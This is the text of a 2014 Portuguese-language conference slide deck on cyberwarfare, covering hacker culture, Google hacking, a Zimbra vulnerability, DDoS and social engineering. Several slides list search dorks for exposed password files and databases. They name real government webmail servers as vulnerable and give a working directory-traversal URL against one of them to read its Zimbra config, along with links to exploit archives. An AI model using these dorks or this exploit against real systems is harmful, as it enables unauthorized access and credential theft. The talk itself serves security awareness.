Apresentação feita na latinoware de 2014.

1. Guerra Cibernética 2.0

2. Dr. Edson Borelli
CEO da Blackdoor Security, Senior Security Specialist da Futura Networks (Campus
Party) Analista de Segurança Sênior, Gestor em Segurança da Informação,
Empreendedor, Especialista em Segurança da Informação a mais de 15 anos.
Doutor em Segurança da Informação Carnegie Mellon;
Mestre em redes computacionais em University of Michigan;
Graduação em Sistemas da Informação Universidade Presbiteriana Mackenzie
Criou e fundou o LABSS (Laboratório de Segurança e Sustentabilidade –
MACKENZIE). Palestrante atuante em diversas instituições no país, e também é
professor em inúmeras universidades e faculdades do Brasil, com os temas Ethical
Hacker, Cyber Ativismo, Engenharia Social, Cyber Terrorismo, Pedofilia.
Especialista em Guerra Cibernética, Inteligência Cibernética, Hardenning, Mitigação,
Firewall, Stress Testing, analise de Vulnerabilidades.

3. Estrutura

9. Hackers

10. Hackers
➔ Mundiais
➔ Brasileiros

11. Ransonware!
Ranson…. o que?

14. Google Hacking

15. Google Hacking
Google Hacking é a atividade de usar recursos de busca do site, visando atacar ou proteger
melhor as informações de uma empresa. As informações disponíveis nos servidores web da
empresa provavelmente estarão nas bases de dados do Google.
Um servidor mal configurado pode expor diversas informações da empresa no Google. Não é
difícil conseguir acesso a arquivos de base de dados de sites através do Google.
site:gov.br ext:SQL

16. Google Hacking
http://www.governoeletronico.gov.br/scripts_sql_novos_relatorio
s/atualizacao_roles.sql

17. Google Hacking
Serviços:
intitle:”VNC Desktop ” inurl:5800
Informações:
filetype:log inurl:”password.log”
Listagem de diretórios:
intitle:”index of” .htpasswd

18. Google Hacking
site:gov intext:”TOP SECRET//” intext:SI|ORCON|NOFORN
filetype:pdf

19. Google Hacking
www.nasa.gov/index.html.old

23. Zimbra 0Day

24. Zimbra 0day
O Zimbra oferece um software de servidor e cliente de código aberto para
troca de mensagens e colaboração.
Falha de 2013 continua até hoje em vários servidores zimbra, com uma
pequena pesquisa no google (Google Hacking) podemos achar vários
webmail’s zimbra e até então vulneráveis.

25. Zimbra 0day
inurl: webmail & intext:zimbra
https://webmail.salvador.ba.gov.br/
https://webmail.unifei.edu.br/
https://webmail.seduc.ce.gov.br/zimbra/
http://webmail.une.com.co/zimbra/

26. Zimbra 0day
http://www.exploit-db.com/exploits/30085/
https://webmail.salvador.ba.gov.br/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxK
eys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../
../../../../../../../../opt/zimbra/conf/localconfig.xml%00

27. Zimbra 0day

28. Zimbra 0day
Exploit:
➔ http://www.exploit-db.com/exploits/30085/
➔ http://www.exploit-db.com/sploits/zimbraexploit_rubina119.zip
Explicação e PoC:
➔ http://securityattack.com.br/emails-do-governo-igrejas-e-empresas-vulneraveis-
em-ano-de-eleicao/

29. DDoS

36. DDoS
http://securityattack.com.br/.attack

37. “O motivo para tudo isso? O
membro que se autointitula
Chronos explicou ao R7, em
entrevista exclusiva.
— A gente decidiu derrubar
todos os TRE e conseguiu. Nós
fazemos isso como protesto a
essa roubalheira que nós
vivemos.”

38. Engenharia Social

39. Engenharia Social
A arte de enganar

40. Dr. Edson Borelli
CEO da Blackdoor Security, Senior Security Specialist da Futura Networks (Campus
Party) Analista de Segurança Sênior, Gestor em Segurança da Informação,
Empreendedor, Especialista em Segurança da Informação a mais de 15 anos.
Doutor em Segurança da Informação Carnegie Mellon;
Mestre em redes computacionais em University of Michigan;
Graduação em Sistemas da Informação Universidade Presbiteriana Mackenzie
Criou e fundou o LABSS (Laboratório de Segurança e Sustentabilidade –
MACKENZIE). Palestrante atuante em diversas instituições no país, e também é
professor em inúmeras universidades e faculdades do Brasil, com os temas Ethical
Hacker, Cyber Ativismo, Engenharia Social, Cyber Terrorismo, Pedofilia. Especialista
em Guerra Cibernética, Inteligência Cibernética, Hardenning, Mitigação, Firewall,
Stress Testing, analise de Vulnerabilidades.

41. Dr. Edson Borelli
CEO da Blackdoor Security, Senior Security Specialist da Futura Networks (Campus
Party) Analista de Segurança Sênior, Gestor em Segurança da Informação,
Empreendedor, Especialista em Segurança da Informação a mais de 15 anos.
Doutor em Segurança da Informação Carnegie Mellon;
Mestre em redes computacionais em University of Michigan;
Graduação em Sistemas da Informação Universidade Presbiteriana Mackenzie
Criou e fundou o LABSS (Laboratório de Segurança e Sustentabilidade –
MACKENZIE). Palestrante atuante em diversas instituições no país, e também é
professor em inúmeras universidades e faculdades do Brasil, com os temas Ethical
Hacker, Cyber Ativismo, Engenharia Social, Cyber Terrorismo, Pedofilia. Especialista
em Guerra Cibernética, Inteligência Cibernética, Hardenning, Mitigação, Firewall,
Stress Testing, analise de Vulnerabilidades.

42. QR Code

44. QR Code
Link
➔ http://goo.gl/Iwrj5G
Ver
➔ http://www.bds3c.com/evento/log.php
Apagar
➔ http://www.bds3c.com/evento/log.php?cmd=clear

45. Engenharia Social
Marketing
Direito
Psicologia

54. Obrigado!!!